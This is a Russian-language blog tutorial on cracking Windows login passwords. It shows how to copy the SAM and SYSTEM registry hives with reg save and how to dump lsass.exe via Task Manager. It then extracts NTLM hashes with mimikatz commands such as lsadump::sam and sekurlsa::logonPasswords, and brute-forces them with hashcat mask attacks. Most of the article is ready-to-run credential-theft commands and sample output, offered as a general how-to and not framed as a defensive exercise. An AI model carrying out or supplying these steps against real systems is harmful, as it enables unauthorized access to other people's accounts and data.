• Ср. Июн 16th, 2021

    Как взломать пароль Windows

    Автор:KaligulBorhes

    Фев 27, 2020
    как взломать пароль windows

    В этой статье мы узнаем, где в Windows хранится пароль пользователя, как извлечь данные для взлома пароля Windows, как раскрыть пароль пользователя и как их использовать даже без брут-форса.

    Не каждый пользователь использует пароль на Windows — особенно редко пользователи устанавливают пароль на домашнем компьютере, за которым работает один человек. Но в условиях корпоративной сети или при использовании Windows в качестве сервера, пароль является обязательным. Ещё одно интересное свойство пароля пользователя Windows: если пользователь завёл онлайн учётную запись Microsoft, то хеш пароля всё равно хранится на локальном компьютере, но расшифрованный пароль подойдёт и для локального компьютера, и для онлайн сервисов Microsoft.

    Где Windows хранит пароль входа пользователя?

    Пароли пользователей Windows хранятся в кустах (hives) реестра Windows под названием SYSTEM и SAM в файлах:

    • C:/Windows/System32/config/SAM
    • C:/Windows/System32/config/SYSTEM

    Вместо пароля в виде простого текста, Windows хранит хеши паролей. Эти хеши легко поддаются брут-форсу, но даже без взлома хеши паролей Windows можно использовать для сбора данных и выполнения атак.

    Как получить хеши паролей Windows

    Дамп хешей паролей Windows на работающем компьютере

    На запущенной системе проблематично получить доступ к файлам C:/Windows/System32/config/SAM и C:/Windows/System32/config/SYSTEM, хотя это и возможно. Для сохранения копий этих файлов можно использовать утилиту reg, а именно следующие команды:

    12reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv

    В некоторых инструкциях вместо SYSTEM сохраняют куст SECURITY — это ошибка, с кустами SECURITY и SAM восстановить хеш не удасться, нужны именно SYSTEM и SAM!

    Хеш пароля также содержится в оперативной памяти, а именно в процессе Local Security Authority Process (lsass.exe). Этот процесс всегда запущен в работающей Windows и можно сделать его дамп (копию процесса в оперативной памяти сохранить на диск в виде файла). Для создания дампа можно использовать различные утилиты, в том числе две официальные:

    Диспетчер задач уже имеется в каждой Windows, чтобы его открыть нажмите Win+r и наберите taskmgr, затем нажмите ENTER. Либо правой кнопкой мыши нажмите на панель задач (то есть на нижнюю полоску, где находятся часы, кнопка пуск и т. д.) и в контекстном меню выберите «Диспетчер задач».

    taskmgr

    В Диспетчере задач нажмите «Подробнее» и во вкладке «Процессы», в разделе «Процессы Windows» найдите Local Security Authority Process, нажмите на него правой кнопкой мыши и выберите в контекстном меню пункт «Создать файл дампа»:

    taskmgr 2

    Дождитесь завершения:

    taskmgr 3

    Файл будет сохранён по пути C:\Users\ПОЛЬЗОВАТЕЛЬ\AppData\Local\Temp\lsass.DMP. У меня имя пользователя MiAl и путь до файла C:\Users\MiAl\AppData\Local\Temp\lsass.DMP.

    Дамп хешей паролей Windows на выключенном компьютере

    На выключенном компьютере для последующего извлечения пароля пользователя достаточно скопировать файлы:

    • C:/Windows/System32/config/SAM
    • C:/Windows/System32/config/SYSTEM

    Эти же файлы можно найти в резервной копии Windows или в Shadow копии диска, либо скопировать загрузившись с Live системы.

    Чем различаются хеши NTLM и NTLMv1/v2 и Net-NTLMv1/v2

    Сейчас мы будем охотиться за хешем NTLM.

    На самом деле, NTLM и NTLMv1/v2 это довольно разные вещи. Хеш NTLM хранится и используется локально, а хеши NTLMv1/NTLMv2 используются для сетевой аутентификации и являются производными хеша NTLM. Используя любой из этих хешей можно расшифровать пароль пользователя Windows, но это разные алгоритмы шифрования/взлома.

    Для атаки Pass-the-hash (мы рассмотрим её в этой статье) применим только хеш NTLM, а хеши NTLMv1/NTLMv2 не подходят.

    Остался ещё один вопрос, что такое хеши Net-NTLMv1/v2. Хеши Net-NTLMv1/v2 это сокращённое название для хешей NTLMv1/v2, то есть NTLMv1/v2 и Net-NTLMv1/v2 это одно и то же. А NTLM это другое.

    В этой статье мы будем извлекать, взламывать и эксплуатировать без взлома хеш NTLM.

    Что такое mimikatz

    Программа mimikatz хорошо известна за возможность извлекать пароли в виде простого текста, хеши, ПИН коды и тикеты kerberos из памяти. mimikatz также может выполнять атаки pass-the-hash, pass-the-ticket или строить Golden тикеты.

    В этой инструкции мы рассмотрим только способность mimikatz извлекать хеши NTLM. Помните, у mimikatz есть и другие очень интересные функции — посмотрите, какая у неё обширная справка: https://kali.tools/?p=5342

    Имеются реализации mimikatz в Meterpreter & Metasploit, DLL reflection в PowerShell и других продуктах. В принципе, mimikatz можно запускать в Wine на Linux, но не будут работать функции, связанные с извлечением данных непосредственно из Windows; функции извлечения хешей из дампов или расшифровки из файлов реестра должны работать в Linux.

    Как установить mimikatz в Windows

    mimikatz — это портативная утилита командной строки. То есть установка не требуется, но нужно уметь запустить, если вы не очень знакомы с командной строкой.

    1. Перейдите на страницу https://github.com/gentilkiwi/mimikatz/releases, скачайте файл mimikatz_trunk.7z или mimikatz_trunk.zip. Распакуйте скаченный архив.

    2. Откройте PowerShell (Win+x → Windows PowerShell (администратор)) или командную строку (Win+r → cmd).

    3. В командной строке с помощью команды cd перейдите в папку с исполнимым файлом mimikatz.exe. К примеру, архив распакован в папку C:\Users\MiAl\Downloads, тогда исполнимый файл будет в папке C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:

    1cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\

    4. Запустите исполнимый файл.

    1.\mimikatz.exe

    Как извлечь хеш пароля пользователя NTLM из файлов реестра

    Следующие команды нужно выполнять в консоли mimikatz.

    Команда log включает запись всего вывода в ФАЙЛ:

    1log ФАЙЛ

    К примеру, для запуска всего вывода в файл hash.txt:

    1log hash.txt

    Я скопировал с выключенного компьютера файлы SYSTEM и SAM, теперь для извлечения хеша мне нужно запустить команду вида:

    1lsadump::sam /system:C:\путь\до\SYSTEM /sam:C:\путь\до\SAM

    Пример моей команды:

    1lsadump::sam /system:C:\Share-Server\files\SYSTEM /sam:C:\Share-Server\files\SAM

    Пример вывода:

    mimikatz

    Вывод довольно обширный и много не до конца понятных данных. Интерес представляют последовательно идущие строки вида:

    12User : ПОЛЬЗОВАТЕЛЬHash NTLM: ХЕШ

    В моём примере интересные строки:

    12345User : ShareOverlordHash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6 User : AlexeyHash NTLM: ca76a176340f0291e1cc8ea7277fc571

    Также есть строки с именами пользователей:

    12User : MiAlUser : Администратор

    Но после них нет строк с хешем NTLM, поскольку у этих пользователей не установлен пароль в системе.

    Если вы хотите извлечь данные из файлов реестра текущей операционной системы, то выходим из mimikatz, для этого нажмите Ctrl+c.

    Теперь сделаем дамп кустов реестра SYSTEM и SAM текущей системы:

    12reg save HKLM\SYSTEM SystemBkup.hivreg save HKLM\SAM SamBkup.hiv

    Вновь запускаем mimikatz:

    1.\mimikatz.exe

    Включаем ведение журнала:

    1log hash-local.txt

    И выполняем команду с указанием файлов, в которые сохранены дампы кустов реестра, то есть SystemBkup.hiv и SamBkup.hiv:

    1lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

    Пример вывода:

    Hash NTLM

    Здесь найден только один пользователь с хешем:

    12User : АдминистраторHash NTLM: 5187b179ba87f3ad85fea3ed718e961f

    На самом деле, для извлечения хешей NTLM из локальной системы необязательно было делать дамп кустов реестра. Другой вариант — повысить привилегии самой программы mimikatz и извлечь хеши непосредственно из системы. Для этого выполните команды:

    1234privilege::debugtoken::elevatelog hash-local2.txtlsadump::sam
    mimikatz 2

    Извлечение хеша NTLM из дампа lsass.DMP

    По логике (и на практике) в дампе процесса Local Security Authority Process должен быть хеш только пользователя, выполнившего вход с паролем.

    Вначале укажите путь до файла дампа командой вида:

    1sekurlsa::minidump C:\путь\до\lsass.DMP

    Например:

    1sekurlsa::minidump C:\Share-Server\files\lsass.DMP

    Затем выполните команду:

    1sekurlsa::logonPasswords

    Брут-форс хеша NTLM

    Для взлома я возьму следующий хеш:

    12User : AlexeyHash NTLM: ca76a176340f0291e1cc8ea7277fc571

    Загляним в справку Hashcat, чтобы узнать номер режима хеша NTLM:

    11000 | NTLM                                             | Операционные системы

    То есть номер хеша NTLM равен 1000.

    Чтобы запустить атаку по маске для взлома NTLM в Hashcat нужно выполнить команду вида:

    1hashcat -m 1000 -a 3 'ХЕШ' МАСКА

    Пример моей реальной команды:

    1hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1

    В этой команде:

    • hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe.
    • —force — игнорировать предупреждения
    • —hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия
    • -m 1000 — тип хеша NTLM
    • -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту
    • -a 3 — означает атаку по маске
    • -i — означает постепенно увеличивать количество символов в генерируемых паролях
    • —increment-min 1 — означает начать с длины маски равной единице
    • —increment-max 10 — означает закончить перебор при длине маске равный десяти
    • -1 ?l?d — пользовательский набор символов номер 1, в него включены маленькие латинские буквы (?l) и цифры (?d)
    • ca76a176340f0291e1cc8ea7277fc571 — хеш для взлома
    • ?1?1?1?1?1?1?1?1?1 — маска из пользовательского набора символов
    hashcat NTLM

    Взломаем ещё один хеш:

    12User : АдминистраторHash NTLM: 5187b179ba87f3ad85fea3ed718e961f

    Команда (другой хеш и другой набор пользовательских символов):

    1hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1
    hashcat NTLM 2